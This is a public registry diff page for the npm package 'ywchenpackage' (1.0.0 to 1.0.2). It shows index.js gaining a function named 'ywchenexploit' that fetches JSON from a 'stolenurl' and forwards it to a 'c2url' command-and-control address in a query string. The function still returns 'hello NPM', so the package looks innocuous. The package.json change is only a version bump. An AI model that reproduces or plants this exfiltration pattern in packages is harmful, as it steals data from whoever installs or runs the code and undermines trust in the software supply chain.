ywchenpackage 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +13 -4
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,5 +1,14 @@
1
- function exploit() {
1
+ function ywchenexploit() {
2
+ let stolenurl = document.stolenurl.value;
3
+ let c2url = document.c2url.value;
4
+ fetch(stolenurl)
5
+ .then(
6
+ function(response){
7
+ return response.json();
8
+ }
9
+ ).then(
10
+ function(response){
11
+ fetch(c2url + "?data=" + JSON.stringify(response[0]));
12
+ })
2
13
  return "hello NPM"
3
- }
4
-
5
- module.exports = exploit
14
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ywchenpackage",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {